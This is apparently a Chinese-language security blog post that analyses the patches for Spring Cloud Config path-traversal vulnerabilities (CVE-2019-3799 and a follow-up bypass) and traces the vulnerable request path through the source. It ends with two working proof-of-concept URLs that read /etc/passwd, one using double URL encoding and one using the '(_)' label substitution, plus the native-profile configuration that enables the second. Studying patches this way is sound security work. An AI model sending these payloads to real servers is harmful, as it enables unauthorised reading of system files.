最近打算分析一下spring相关的漏洞,就以spring-cloud-config产生的目录穿越漏洞为引,进行学习,另外,为了更好的提高自己的能力,我们对漏洞只提前去了解补丁和影响的版本,不拿poc去看调用栈的流程,从补丁分析poc的编写。
补丁位置:https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2
根据补丁可以看到主要增加了路径的检测,一个是
private boolean isInvalidEncodedPath(String path) { if (path.contains("%")) { try { // Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8 chars String decodedPath = URLDecoder.decode(path, "UTF-8"); if (isInvalidPath(decodedPath)) { return true; } decodedPath = processPath(decodedPath); if (isInvalidPath(decodedPath)) { return true; } } catch (IllegalArgumentException | UnsupportedEncodingException ex) { // Should never happen... } } return false; }
这个我们可以看到主要是url解码的功能,看到这里会想到难道url编码可以绕过限制进行文件读取?如果是这样的话那么在读文件时要么有解码操作,要么可能是file协议等。
第二个函数我们可以看到主要是限制了一些路径出现的字符,防止我们目录穿越已经读敏感文件的
protected boolean isInvalidPath(String path) { if (path.contains("WEB-INF") || path.contains("META-INF")) { if (logger.isWarnEnabled()) { logger.warn("Path with \"WEB-INF\" or \"META-INF\": [" + path + "]"); } return true; } if (path.contains(":/")) { String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path); if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) { if (logger.isWarnEnabled()) { logger.warn("Path represents URL or has \"url:\" prefix: [" + path + "]"); } return true; } } if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) { if (logger.isWarnEnabled()) { logger.warn("Path contains \"../\" after call to StringUtils#cleanPath: [" + path + "]"); } return true; } return false; }
如果我们对该组件不熟悉的话,可以通过回溯进行找漏洞利用点。
通过看补丁我们知道漏洞产生点在findOne
方法,全局找一下
并且通过看findOne的代码我们可以知道,path可控是比较重要的,重点跟一下可控处
找到
synchronized String retrieve(String name, String profile, String label, String path, boolean resolvePlaceholders) throws IOException { if (name != null && name.contains("(_)")) { // "(_)" is uncommon in a git repo name, but "/" cannot be matched // by Spring MVC name = name.replace("(_)", "/"); } if (label != null && label.contains("(_)")) { // "(_)" is uncommon in a git branch name, but "/" cannot be matched // by Spring MVC label = label.replace("(_)", "/"); } // ensure InputStream will be closed to prevent file locks on Windows try (InputStream is = this.resourceRepository.findOne(name, profile, label, path) .getInputStream()) { String text = StreamUtils.copyToString(is, Charset.forName("UTF-8")); if (resolvePlaceholders) { Environment environment = this.environmentRepository.findOne(name, profile, label); text = resolvePlaceholders(prepareEnvironment(environment), text); } return text; } }
再往上找就能找到
@RequestMapping("/{name}/{profile}/{label}/**") public String retrieve(@PathVariable String name, @PathVariable String profile, @PathVariable String label, HttpServletRequest request, @RequestParam(defaultValue = "true") boolean resolvePlaceholders) throws IOException { String path = getFilePath(request, name, profile, label); return retrieve(name, profile, label, path, resolvePlaceholders); }
然后这里可以看到path是我们完全可控的,也就是**
处
那么我们根据路由构建个请求
http://127.0.0.1:8888/aaaa/aaaa/master/README.md
跟进一下看到
进行了路径的拼接,因为我们一开始并不熟悉该组件的功能,看到这里猜测是将远程管理项目的下载到本地,然后利用file协议来进行读取文件,这里也解释了为什么写过滤的时候会进行url解码。
因为浏览器会进行一次url解码,然后在getInputStream中openConnection会解码一次
那么我们就可以构造poc
http://127.0.0.1:8888/aaaa/aaaa/master/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd
补丁位置:https://github.com/spring-cloud/spring-cloud-config/commit/651f458919c40ef9a5e93e7d76bf98575910fad0
通过补丁我们可以知道,第一次补丁只检测了path,第二个补丁检测了整个路径,那么问题还应该出在了这里.
其实往前看有个替换的操作,很显眼
name和label的(_)
会被替换成/
,看到这里,我尝试构造poc
http://127.0.0.1:8888/aaaa/aaaa/%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%65%74%63/passwd
我们让label为..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc
,path为passwd
,这样拼接完应该是file:/xxx/xxx/xxx/../../../../../etc/passwd
但是如果label不为master的话,代码逻辑就会先去checkout,然后就异常了
这里面会导致抛出异常,具体抛出异常的点在哪呢,在org.springframework.cloud.config.server.environment.MultipleJGitEnvironmentRepository
在CVE-2019-3799中,我们使用的配置是常用的spring.cloud.config.server.git.uri
,它会选择使用MultipleJGitEnvironmentRepository.class
的getLocations,然后就会走到checkout,抛出异常了,那么我们怎么去不走checkout逻辑呢。
得知这个配置是让它从本地进行加载,而不是用git,通过在application.properties配置
spring.profiles.active=native
spring.cloud.config.server.native.search-locations=file:/Users/p0desta/Desktop
其实通过补丁我们也可以发现端倪
配置后重新跟进调试
然后就在/org/springframework/cloud/config/server/environment/NativeEnvironmentRepository.class@getLocations
中对路径进行了处理,大致就是对路径进行拼接,然后存在ouput数组中,返回一个新的Locations对象
然后后面就是跟CVE-2019-3799一样,直接读文件了。